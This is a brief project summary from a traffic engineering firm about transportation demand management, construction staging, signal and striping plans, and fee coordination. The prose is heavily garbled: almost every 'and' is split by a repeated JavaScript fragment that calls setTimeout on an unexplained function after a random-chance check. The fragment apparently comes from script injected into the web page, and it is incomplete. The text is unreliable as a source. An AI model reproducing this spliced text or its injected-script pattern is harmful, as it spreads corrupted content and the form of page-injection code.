After having prepared the traffic impact study andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and supplemental analyses for this project, Crain & Associates was retained to assist the team with clearing the conditions of approval for the project. Our tasks included Transportation Demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Management Plan development, construction staging assistance, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and traffic improvement plan preparation. The traffic improvement plans included traffic signal, striping andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and signage, street lighting, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and worksite traffic control plans. We also assisted the team with coordination of the ATSAC/ATCS fee payment.